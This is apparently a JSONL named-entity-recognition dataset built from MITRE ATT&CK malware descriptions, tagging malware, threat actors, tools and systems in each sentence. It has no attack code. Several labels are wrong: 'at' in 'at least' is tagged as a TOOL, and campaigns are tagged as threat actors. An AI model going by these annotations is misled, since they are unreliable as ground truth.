{"text": "ODAgent is a C#/.NET downloader that has been used by OilRig since at least 2022 including against target organizations in Israel to download and execute payloads and to exfiltrate staged files.", "spans": {"MALWARE: ODAgent": [[0, 7]], "SYSTEM: C#": [[13, 15]], "SYSTEM: .NET": [[16, 20]], "THREAT_ACTOR: OilRig": [[54, 60]], "TOOL: at": [[67, 69]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1170"}}
{"text": "BlackByte 2.0 Ransomware is a replacement for BlackByte Ransomware. Unlike BlackByte Ransomware, BlackByte 2.0 Ransomware does not have a common key for victim decryption. BlackByte 2.0 Ransomware remains uniquely associated with BlackByte operations.", "spans": {"MALWARE: BlackByte 2.0 Ransomware": [[0, 24], [97, 121], [172, 196]], "MALWARE: BlackByte Ransomware": [[46, 66], [75, 95]], "THREAT_ACTOR: BlackByte": [[230, 239]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1181"}}
{"text": "FlawedGrace is a fully featured remote access tool (RAT) written in C++ that was first observed in late 2017.", "spans": {"MALWARE: FlawedGrace": [[0, 11]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0383"}}
{"text": "FLASHFLOOD is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps.", "spans": {"MALWARE: FLASHFLOOD": [[0, 10]], "THREAT_ACTOR: APT30": [[35, 40], [114, 119]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0036"}}
{"text": "FlawedAmmyy is a remote access tool (RAT) that was first seen in early 2016. The code for FlawedAmmyy was based on leaked source code for a version of Ammyy Admin, a remote access software.", "spans": {"MALWARE: FlawedAmmyy": [[0, 11], [90, 101]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0381"}}
{"text": "Snip3 is a sophisticated crypter-as-a-service that has been used since at least 2021 to obfuscate and load numerous strains of malware including AsyncRAT, Revenge RAT, Agent Tesla, and NETWIRE.", "spans": {"MALWARE: Snip3": [[0, 5]], "TOOL: at": [[71, 73]], "MALWARE: AsyncRAT": [[145, 153]], "MALWARE: Revenge RAT": [[155, 166]], "MALWARE: Agent Tesla": [[168, 179]], "MALWARE: NETWIRE": [[185, 192]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1086"}}
{"text": "FYAnti is a loader that has been used by menuPass since at least 2020, including to deploy QuasarRAT.", "spans": {"MALWARE: FYAnti": [[0, 6]], "THREAT_ACTOR: menuPass": [[41, 49]], "TOOL: at": [[56, 58]], "TOOL: QuasarRAT": [[91, 100]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0628"}}
{"text": "Rifdoor is a remote access trojan (RAT) that shares numerous code similarities with HotCroissant.", "spans": {"MALWARE: Rifdoor": [[0, 7]], "MALWARE: HotCroissant": [[84, 96]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0433"}}
{"text": "SUGARUSH is a small custom backdoor that can establish a reverse shell over TCP to a hard coded C2 address. SUGARUSH was first identified during analysis of UNC3890's C0010 campaign targeting Israeli companies, which began in late 2020.", "spans": {"MALWARE: SUGARUSH": [[0, 8], [108, 116]], "THREAT_ACTOR: C0010": [[167, 172]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1049"}}
{"text": "LoFiSe has been used by ToddyCat since at least 2023 to identify and collect files of interest on targeted systems.", "spans": {"MALWARE: LoFiSe": [[0, 6]], "THREAT_ACTOR: ToddyCat": [[24, 32]], "TOOL: at": [[39, 41]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1101"}}
{"text": "HOPLIGHT is a backdoor Trojan that has reportedly been used by the North Korean government.", "spans": {"MALWARE: HOPLIGHT": [[0, 8]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0376"}}
{"text": "Cuckoo Stealer is a macOS malware with characteristics of spyware and an infostealer that has been in use since at least 2024. Cuckoo Stealer is a universal Mach-O binary that can run on Intel or ARM-based Macs and has been spread through trojanized versions of various potentially unwanted programs or PUP's such as converters, cleaners, and uninstallers.", "spans": {"MALWARE: Cuckoo Stealer": [[0, 14], [127, 141]], "SYSTEM: macOS": [[20, 25]], "TOOL: at": [[112, 114]], "ORGANIZATION: Intel": [[187, 192]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1153"}}
{"text": "GuLoader is a file downloader that has been used since at least December 2019 to distribute a variety of remote administration tool (RAT) malware, including NETWIRE, Agent Tesla, NanoCore, FormBook, and Parallax RAT.", "spans": {"MALWARE: GuLoader": [[0, 8]], "TOOL: at": [[55, 57]], "MALWARE: NETWIRE": [[157, 164]], "MALWARE: Agent Tesla": [[166, 177]], "MALWARE: NanoCore": [[179, 187]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0561"}}
{"text": "MobileOrder is a Trojan intended to compromise Android mobile devices. It has been used by Scarlet Mimic.", "spans": {"MALWARE: MobileOrder": [[0, 11]], "SYSTEM: Android": [[47, 54]], "THREAT_ACTOR: Scarlet Mimic": [[91, 104]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0079"}}
{"text": "WastedLocker is a ransomware family attributed to Indrik Spider that has been used since at least May 2020. WastedLocker has been used against a broad variety of sectors, including manufacturing, information technology, and media.", "spans": {"MALWARE: WastedLocker": [[0, 12], [108, 120]], "THREAT_ACTOR: Indrik Spider": [[50, 63]], "TOOL: at": [[89, 91]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0612"}}
{"text": "RegDuke is a first stage implant written in .NET and used by APT29 since at least 2017. RegDuke has been used to control a compromised machine when control of other implants on the machine was lost.", "spans": {"MALWARE: RegDuke": [[0, 7], [88, 95]], "SYSTEM: .NET": [[44, 48]], "THREAT_ACTOR: APT29": [[61, 66]], "TOOL: at": [[73, 75]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0511"}}
{"text": "ProLock is a ransomware strain that has been used in Big Game Hunting (BGH) operations since at least 2020, often obtaining initial access with QakBot. ProLock is the successor to PwndLocker ransomware which was found to contain a bug allowing decryption without ransom payment in 2019.", "spans": {"MALWARE: ProLock": [[0, 7], [152, 159]], "TOOL: at": [[93, 95]], "MALWARE: QakBot": [[144, 150]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0654"}}
{"text": "Moneybird is a ransomware variant written in C++ associated with Agrius operations. The name \"Moneybird\" is contained in the malware's ransom note and as strings in the executable.", "spans": {"MALWARE: Moneybird": [[0, 9], [94, 103]], "THREAT_ACTOR: Agrius": [[65, 71]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1137"}}
{"text": "InvisiMole is a modular spyware program that has been used by the InvisiMole Group since at least 2013. InvisiMole has two backdoor modules called RC2FM and RC2CL that are used to perform post-exploitation activities. It has been discovered on compromised victims in the Ukraine and Russia. Gamaredon Group infrastructure has been used to download and execute InvisiMole against a small number of victims.", "spans": {"MALWARE: InvisiMole": [[0, 10], [66, 76], [104, 114], [360, 370]], "TOOL: at": [[89, 91]], "THREAT_ACTOR: Gamaredon Group": [[291, 306]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0260"}}
{"text": "CLAIMLOADER is a malware variant that frequently accompanies legitimate executables that are used for DLL side-loading known to be leveraged by Mustang Panda and was first observed utilized in 2021.", "spans": {"MALWARE: CLAIMLOADER": [[0, 11]], "THREAT_ACTOR: Mustang Panda": [[144, 157]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1236"}}
{"text": "P.A.S. Webshell is a publicly available multifunctional PHP webshell in use since at least 2016 that provides remote access and execution on target web servers.", "spans": {"MALWARE: P.A.S. Webshell": [[0, 15]], "SYSTEM: PHP": [[56, 59]], "TOOL: at": [[82, 84]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0598"}}
{"text": "QUIETEXIT is a novel backdoor, based on the open-source Dropbear SSH client-server software, that has been used by APT29 since at least 2021. APT29 has deployed QUIETEXIT on opaque network appliances that typically don't support antivirus or endpoint detection and response tools within a victim environment.", "spans": {"MALWARE: QUIETEXIT": [[0, 9], [161, 170]], "SYSTEM: SSH": [[65, 68]], "THREAT_ACTOR: APT29": [[115, 120], [142, 147]], "TOOL: at": [[127, 129]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1084"}}
{"text": "Naid is a trojan used by Elderwood to open a backdoor on compromised hosts.", "spans": {"MALWARE: Naid": [[0, 4]], "THREAT_ACTOR: Elderwood": [[25, 34]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0205"}}
{"text": "Apostle is malware that has functioned as both a wiper and, in more recent versions, as ransomware.  Apostle is written in .NET and shares various programming and functional overlaps with IPsec Helper.", "spans": {"MALWARE: Apostle": [[0, 7], [101, 108]], "SYSTEM: .NET": [[123, 127]], "MALWARE: IPsec Helper": [[188, 200]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1133"}}
{"text": "Volgmer is a backdoor Trojan designed to provide covert access to a compromised system. It has been used since at least 2013 to target the government, financial, automotive, and media industries. Its primary delivery mechanism is suspected to be spearphishing.", "spans": {"MALWARE: Volgmer": [[0, 7]], "TOOL: at": [[111, 113]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0180"}}
{"text": "WINERACK is a backdoor used by APT37.", "spans": {"MALWARE: WINERACK": [[0, 8]], "THREAT_ACTOR: APT37": [[31, 36]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0219"}}
{"text": "WhisperGate is a multi-stage wiper designed to look like ransomware that has been used against multiple government, non-profit, and information technology organizations in Ukraine since at least January 2022.", "spans": {"MALWARE: WhisperGate": [[0, 11]], "TOOL: at": [[186, 188]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0689"}}
{"text": "FruitFly is designed to spy on mac users  .", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0277"}}
{"text": "ZeroT is a Trojan used by TA459, often in conjunction with PlugX.", "spans": {"MALWARE: ZeroT": [[0, 5]], "THREAT_ACTOR: TA459": [[26, 31]], "MALWARE: PlugX": [[59, 64]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0230"}}
{"text": "This piece of malware steals the content of the user's keychain while maintaining a permanent backdoor  .", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0276"}}
{"text": "AcidPour is a variant of AcidRain designed to impact a wider range of x86 architecture Linux devices. AcidPour is an x86 ELF binary that expands on the targeted devices and locations in AcidRain by including items such as Unsorted Block Image (UBI), Deice Mapper (DM), and various flash memory references. Based on this expanded targeting, AcidPour can impact a variety of device types including IoT, networking, and ICS embedded device types. AcidPour is a wiping payload associated with the Sandworm Team threat actor, and potentially linked to attacks against Ukrainian internet service providers (ISPs) in 2023.", "spans": {"MALWARE: AcidPour": [[0, 8], [102, 110], [340, 348], [444, 452]], "MALWARE: AcidRain": [[25, 33], [186, 194]], "SYSTEM: Linux": [[87, 92]], "THREAT_ACTOR: Sandworm Team": [[493, 506]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1167"}}
{"text": "RDAT is a backdoor used by the suspected Iranian threat group OilRig. RDAT was originally identified in 2017 and targeted companies in the telecommunications sector.", "spans": {"MALWARE: RDAT": [[0, 4], [70, 74]], "THREAT_ACTOR: OilRig": [[62, 68]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0495"}}
{"text": "Hacking Team UEFI Rootkit is a rootkit developed by the company Hacking Team as a method of persistence for remote access software.", "spans": {"MALWARE: Hacking Team UEFI Rootkit": [[0, 25]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0047"}}
{"text": "Skidmap is a kernel-mode rootkit used for cryptocurrency mining.", "spans": {"MALWARE: Skidmap": [[0, 7]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0468"}}
{"text": "Okrum is a Windows backdoor that has been seen in use since December 2016 with strong links to Ke3chang.", "spans": {"MALWARE: Okrum": [[0, 5]], "SYSTEM: Windows": [[11, 18]], "THREAT_ACTOR: Ke3chang": [[95, 103]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0439"}}
{"text": "TRANSLATEXT is malware that is believed to be used by Kimsuky. TRANSLATEXT masqueraded as a Google Translate extension for Google Chrome, but is actually a collection of four malicious Javascript files that perform defense evasion, information collection and exfiltration.", "spans": {"MALWARE: TRANSLATEXT": [[0, 11], [63, 74]], "THREAT_ACTOR: Kimsuky": [[54, 61]], "ORGANIZATION: Google": [[92, 98]], "SYSTEM: Google Chrome": [[123, 136]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1201"}}
{"text": "Regin is a malware platform that has targeted victims in a range of industries, including telecom, government, and financial institutions. Some Regin timestamps date back to 2003.", "spans": {"MALWARE: Regin": [[0, 5], [144, 149]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0019"}}
{"text": "Bonadan is a malicious version of OpenSSH which acts as a custom backdoor. Bonadan has been active since at least 2018 and combines a new cryptocurrency-mining module with the same credential-stealing module used by the Onderon family of backdoors.", "spans": {"MALWARE: Bonadan": [[0, 7], [75, 82]], "SYSTEM: OpenSSH": [[34, 41]], "TOOL: at": [[105, 107]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0486"}}
{"text": "Line Dancer is a memory-only Lua-based shellcode loader associated with the ArcaneDoor campaign. Line Dancer allows an adversary to upload and execute arbitrary shellcode on victim devices.", "spans": {"MALWARE: Line Dancer": [[0, 11], [97, 108]], "THREAT_ACTOR: ArcaneDoor": [[76, 86]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1186"}}
{"text": "SamSam is ransomware that appeared in early 2016. Unlike some ransomware, its variants have required operators to manually interact with the malware to execute some of its core components.", "spans": {"MALWARE: SamSam": [[0, 6]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0370"}}
{"text": "Neoichor is C2 malware used by Ke3chang since at least 2019; similar malware families used by the group include Leeson and Numbldea.", "spans": {"MALWARE: Neoichor": [[0, 8]], "THREAT_ACTOR: Ke3chang": [[31, 39]], "TOOL: at": [[46, 48]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0691"}}
{"text": "Conti is a Ransomware-as-a-Service (RaaS) that was first observed in December 2019. Conti has been deployed via TrickBot and used against major corporations and government agencies, particularly those in North America. As with other ransomware families, actors using Conti steal sensitive files and information from compromised networks, and threaten to publish this data unless the ransom is paid.", "spans": {"MALWARE: Conti": [[0, 5], [84, 89], [267, 272]], "MALWARE: TrickBot": [[112, 120]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0575"}}
{"text": "Raspberry Robin is initial access malware first identified in September 2021, and active through early 2024. The malware is notable for spreading via infected USB devices containing a malicious LNK object that, on execution, retrieves remote hosted payloads for installation. Raspberry Robin has been widely used against various industries and geographies, and as a precursor to information stealer, ransomware, and other payloads such as SocGholish, Cobalt Strike, IcedID, and Bumblebee. The DLL componenet in the Raspberry Robin infection chain is also referred to as \"Roshtyak.\" The name \"Raspberry Robin\" is used to refer to both the malware as well as the threat actor associated with its use, although the Raspberry Robin operators are also tracked as <code>Storm-0856</code> by some vendors.", "spans": {"MALWARE: Raspberry Robin": [[0, 15], [276, 291], [515, 530], [592, 607], [712, 727]], "MALWARE: SocGholish": [[439, 449]], "TOOL: Cobalt Strike": [[451, 464]], "MALWARE: IcedID": [[466, 472]], "MALWARE: Bumblebee": [[478, 487]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1130"}}
{"text": "Mispadu is a banking trojan written in Delphi that was first observed in 2019 and uses a Malware-as-a-Service (MaaS) business model. This malware is operated, managed, and sold by the Malteiro cybercriminal group. Mispadu has mainly been used to target victims in Brazil and Mexico, and has also had confirmed operations throughout Latin America and Europe.", "spans": {"MALWARE: Mispadu": [[0, 7], [214, 221]], "THREAT_ACTOR: Malteiro": [[184, 192]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1122"}}
{"text": "RemoteCMD is a custom tool used by APT3 to execute commands on a remote system similar to SysInternal's PSEXEC functionality.", "spans": {"MALWARE: RemoteCMD": [[0, 9]], "THREAT_ACTOR: APT3": [[35, 39]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0166"}}
{"text": "Megazord is a Rust-based variant of Akira ransomware that has been in use since at least August 2023 to target Windows environments. Megazord has been attributed to the Akira group based on overlapping infrastructure though is possibly not exclusive to the group.", "spans": {"MALWARE: Megazord": [[0, 8], [133, 141]], "MALWARE: Akira": [[36, 41], [169, 174]], "TOOL: at": [[80, 82]], "SYSTEM: Windows": [[111, 118]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1191"}}
{"text": "Diavol is a ransomware variant first observed in June 2021 that is capable of prioritizing file types to encrypt based on a pre-configured list of extensions defined by the attacker.  The Diavol Ransomware-as-a Service (RaaS) program is managed by Wizard Spider and it has been observed being deployed by Bazar.", "spans": {"MALWARE: Diavol": [[0, 6], [188, 194]], "THREAT_ACTOR: Wizard Spider": [[248, 261]], "MALWARE: Bazar": [[305, 310]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0659"}}
{"text": "REPTILE is an open-source Linux rootkit with multiple components that provides backdoor access and functionality.", "spans": {"MALWARE: REPTILE": [[0, 7]], "SYSTEM: Linux": [[26, 31]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1219"}}
{"text": "Raindrop is a loader used by APT29 that was discovered on some victim machines during investigations related to the SolarWinds Compromise. It was discovered in January 2021 and was likely used since at least May 2020.", "spans": {"MALWARE: Raindrop": [[0, 8]], "THREAT_ACTOR: APT29": [[29, 34]], "THREAT_ACTOR: SolarWinds Compromise": [[116, 137]], "TOOL: at": [[199, 201]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0565"}}
{"text": "Doki is a backdoor that uses a unique Dogecoin-based Domain Generation Algorithm and was first observed in July 2020. Doki was used in conjunction with the ngrok Mining Botnet in a campaign that targeted Docker servers in cloud platforms.", "spans": {"MALWARE: Doki": [[0, 4], [118, 122]], "TOOL: ngrok": [[156, 161]], "SYSTEM: Docker": [[204, 210]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0600"}}
{"text": "TEXTMATE is a second-stage PowerShell backdoor that is memory-resident. It was observed being used along with POWERSOURCE in February 2017.", "spans": {"MALWARE: TEXTMATE": [[0, 8]], "TOOL: PowerShell": [[27, 37]], "MALWARE: POWERSOURCE": [[110, 121]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0146"}}
{"text": "Siloscape is malware that targets Kubernetes clusters through Windows containers. Siloscape was first observed in March 2021.", "spans": {"MALWARE: Siloscape": [[0, 9], [82, 91]], "SYSTEM: Kubernetes": [[34, 44]], "SYSTEM: Windows": [[62, 69]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0623"}}
{"text": "BlackCat is ransomware written in Rust that has been offered via the Ransomware-as-a-Service (RaaS) model. First observed November 2021, BlackCat has been used to target multiple sectors and organizations in various countries and regions in Africa, the Americas, Asia, Australia, and Europe.", "spans": {"MALWARE: BlackCat": [[0, 8], [137, 145]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1068"}}
{"text": "Fysbis is a Linux-based backdoor used by APT28 that dates back to at least 2014.", "spans": {"MALWARE: Fysbis": [[0, 6]], "SYSTEM: Linux": [[12, 17]], "THREAT_ACTOR: APT28": [[41, 46]], "TOOL: at": [[66, 68]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0410"}}
{"text": "IcedID is a modular banking malware designed to steal financial information that has been observed in the wild since at least 2017.  IcedID  has been downloaded by Emotet in multiple campaigns.", "spans": {"MALWARE: IcedID": [[0, 6], [133, 139]], "TOOL: at": [[117, 119]], "MALWARE: Emotet": [[164, 170]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0483"}}
{"text": "VERMIN is a remote access tool written in the Microsoft .NET framework. It is mostly composed of original code, but also has some open source code.", "spans": {"MALWARE: VERMIN": [[0, 6]], "ORGANIZATION: Microsoft": [[46, 55]], "SYSTEM: .NET": [[56, 60]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0257"}}
{"text": "UBoatRAT is a remote access tool that was identified in May 2017.", "spans": {"MALWARE: UBoatRAT": [[0, 8]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0333"}}
{"text": "Nightdoor is a backdoor exclusively associated with Daggerfly operations. Nightdoor uses common libraries with MgBot and MacMa, linking these malware families together.", "spans": {"MALWARE: Nightdoor": [[0, 9], [74, 83]], "THREAT_ACTOR: Daggerfly": [[52, 61]], "MALWARE: MgBot": [[111, 116]], "MALWARE: MacMa": [[121, 126]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1147"}}
{"text": "MarkiRAT is a remote access Trojan (RAT) compiled with Visual Studio that has been used by Ferocious Kitten since at least 2015.", "spans": {"MALWARE: MarkiRAT": [[0, 8]], "THREAT_ACTOR: Ferocious Kitten": [[91, 107]], "TOOL: at": [[114, 116]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0652"}}
{"text": "PowerShower is a PowerShell backdoor used by Inception for initial reconnaissance and to download and execute second stage payloads.", "spans": {"MALWARE: PowerShower": [[0, 11]], "TOOL: PowerShell": [[17, 27]], "THREAT_ACTOR: Inception": [[45, 54]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0441"}}
{"text": "Kazuar is a fully featured, multi-platform backdoor Trojan written using the Microsoft .NET framework.", "spans": {"MALWARE: Kazuar": [[0, 6]], "ORGANIZATION: Microsoft": [[77, 86]], "SYSTEM: .NET": [[87, 91]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0265"}}
{"text": "NavRAT is a remote access tool designed to upload, download, and execute files. It has been observed in attacks targeting South Korea.", "spans": {"MALWARE: NavRAT": [[0, 6]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0247"}}
{"text": "DarkComet is a Windows remote administration tool and backdoor.", "spans": {"MALWARE: DarkComet": [[0, 9]], "SYSTEM: Windows": [[15, 22]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0334"}}
{"text": "NETEAGLE is a backdoor developed by APT30 with compile dates as early as 2008. It has two main variants known as “Scout” and “Norton.”", "spans": {"MALWARE: NETEAGLE": [[0, 8]], "THREAT_ACTOR: APT30": [[36, 41]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0034"}}
{"text": "POORAIM is a backdoor used by APT37 in campaigns since at least 2014.", "spans": {"MALWARE: POORAIM": [[0, 7]], "THREAT_ACTOR: APT37": [[30, 35]], "TOOL: at": [[55, 57]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0216"}}
{"text": "HUI Loader is a custom DLL loader that has been used since at least 2015 by China-based threat groups including Cinnamon Tempest and menuPass to deploy malware on compromised hosts. HUI Loader has been observed in campaigns loading SodaMaster, PlugX, Cobalt Strike, Komplex, and several strains of ransomware.", "spans": {"MALWARE: HUI Loader": [[0, 10], [182, 192]], "TOOL: at": [[59, 61]], "THREAT_ACTOR: Cinnamon Tempest": [[112, 128]], "THREAT_ACTOR: menuPass": [[133, 141]], "MALWARE: SodaMaster": [[232, 242]], "MALWARE: PlugX": [[244, 249]], "TOOL: Cobalt Strike": [[251, 264]], "MALWARE: Komplex": [[266, 273]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1097"}}
{"text": "CHIMNEYSWEEP is a backdoor malware that was deployed during HomeLand Justice along with ROADSWEEP ransomware, and has been used to target Farsi and Arabic speakers since at least 2012.", "spans": {"MALWARE: CHIMNEYSWEEP": [[0, 12]], "THREAT_ACTOR: HomeLand Justice": [[60, 76]], "MALWARE: ROADSWEEP": [[88, 97]], "TOOL: at": [[170, 172]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1149"}}
{"text": "Ragnar Locker is a ransomware that has been in use since at least December 2019.", "spans": {"MALWARE: Ragnar Locker": [[0, 13]], "TOOL: at": [[57, 59]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0481"}}
{"text": "FatDuke is a backdoor used by APT29 since at least 2016.", "spans": {"MALWARE: FatDuke": [[0, 7]], "THREAT_ACTOR: APT29": [[30, 35]], "TOOL: at": [[42, 44]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0512"}}
{"text": "Lucifer is a crypto miner and DDoS hybrid malware that leverages well-known exploits to spread laterally on Windows platforms.", "spans": {"MALWARE: Lucifer": [[0, 7]], "SYSTEM: Windows": [[108, 115]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0532"}}
{"text": "BlackEnergy is a malware toolkit that has been used by both criminal and APT actors. It dates back to at least 2007 and was originally designed to create botnets for use in conducting Distributed Denial of Service (DDoS) attacks, but its use has evolved to support various plug-ins. It is well known for being used during the confrontation between Georgia and Russia in 2008, as well as in targeting Ukrainian institutions. Variants include BlackEnergy 2 and BlackEnergy 3.", "spans": {"MALWARE: BlackEnergy": [[0, 11], [441, 452], [459, 470]], "TOOL: at": [[102, 104]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0089"}}
{"text": "zwShell is a remote access tool (RAT) written in Delphi that has been seen in the wild since the spring of 2010 and used by threat actors during Night Dragon.", "spans": {"MALWARE: zwShell": [[0, 7]], "THREAT_ACTOR: Night Dragon": [[145, 157]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0350"}}
{"text": "Zeroaccess is a kernel-mode Rootkit that attempts to add victims to the ZeroAccess botnet, often for monetary gain.", "spans": {"MALWARE: Zeroaccess": [[0, 10]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0027"}}
{"text": "GLASSTOKEN is a custom web shell used by threat actors during Cutting Edge to execute commands on compromised Ivanti Secure Connect VPNs.", "spans": {"MALWARE: GLASSTOKEN": [[0, 10]], "THREAT_ACTOR: Cutting Edge": [[62, 74]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1117"}}
{"text": "DCSrv is destructive malware that has been used by Moses Staff since at least  September 2021. Though DCSrv has ransomware-like capabilities, Moses Staff does not demand ransom or offer a decryption key.", "spans": {"MALWARE: DCSrv": [[0, 5], [102, 107]], "THREAT_ACTOR: Moses Staff": [[51, 62], [142, 153]], "TOOL: at": [[69, 71]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1033"}}
{"text": "DRATzarus is a remote access tool (RAT) that has been used by Lazarus Group to target the defense and aerospace organizations globally since at least summer 2020. DRATzarus shares similarities with Bankshot, which was used by Lazarus Group in 2017 to target the Turkish financial sector.", "spans": {"MALWARE: DRATzarus": [[0, 9], [163, 172]], "THREAT_ACTOR: Lazarus Group": [[62, 75], [226, 239]], "TOOL: at": [[141, 143]], "MALWARE: Bankshot": [[198, 206]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0694"}}
{"text": "BOOSTWRITE is a loader crafted to be launched via abuse of the DLL search order of applications used by FIN7.", "spans": {"MALWARE: BOOSTWRITE": [[0, 10]], "THREAT_ACTOR: FIN7": [[104, 108]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0415"}}
{"text": "Rising Sun is a modular backdoor that was used extensively in Operation Sharpshooter between 2017 and 2019. Rising Sun infected at least 87 organizations around the world, including nuclear, defense, energy, and financial service companies. Security researchers assessed Rising Sun included some source code from Lazarus Group's Trojan Duuzer.", "spans": {"MALWARE: Rising Sun": [[0, 10], [108, 118], [271, 281]], "THREAT_ACTOR: Operation Sharpshooter": [[62, 84]], "TOOL: at": [[128, 130]], "THREAT_ACTOR: Lazarus Group": [[313, 326]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0448"}}
{"text": "ASPXSpy is a Web shell. It has been modified by Threat Group-3390 actors to create the ASPXTool version.", "spans": {"MALWARE: ASPXSpy": [[0, 7]], "THREAT_ACTOR: Threat Group-3390": [[48, 65]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0073"}}
{"text": "NotPetya is malware that was used by Sandworm Team in a worldwide attack starting on June 27, 2017. While NotPetya appears as a form of ransomware, its main purpose was to destroy data and disk structures on compromised systems; the attackers never intended to make the encrypted data recoverable. As such, NotPetya may be more appropriately thought of as a form of wiper malware. NotPetya contains worm-like features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.", "spans": {"MALWARE: NotPetya": [[0, 8], [106, 114], [307, 315], [381, 389]], "THREAT_ACTOR: Sandworm Team": [[37, 50]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0368"}}
{"text": "ShimRat has been used by the suspected China-based adversary Mofang in campaigns targeting multiple countries and sectors including government, military, critical infrastructure, automobile, and weapons development. The name \"ShimRat\" comes from the malware's extensive use of Windows Application Shimming to maintain persistence.", "spans": {"MALWARE: ShimRat": [[0, 7], [226, 233]], "THREAT_ACTOR: Mofang": [[61, 67]], "SYSTEM: Windows": [[277, 284]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0444"}}
{"text": "Chrommme is a backdoor tool written using the Microsoft Foundation Class (MFC) framework that was first reported in June 2021; security researchers noted infrastructure overlaps with Gelsemium malware.", "spans": {"MALWARE: Chrommme": [[0, 8]], "ORGANIZATION: Microsoft": [[46, 55]], "MALWARE: Gelsemium": [[183, 192]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0667"}}
{"text": "BADFLICK is a backdoor used by Leviathan in spearphishing campaigns first reported in 2018 that targeted the U.S. engineering and maritime industries.", "spans": {"MALWARE: BADFLICK": [[0, 8]], "THREAT_ACTOR: Leviathan": [[31, 40]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0642"}}
{"text": "ObliqueRAT is a remote access trojan, similar to Crimson, that has been in use by Transparent Tribe since at least 2020.", "spans": {"MALWARE: ObliqueRAT": [[0, 10]], "MALWARE: Crimson": [[49, 56]], "THREAT_ACTOR: Transparent Tribe": [[82, 99]], "TOOL: at": [[106, 108]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0644"}}
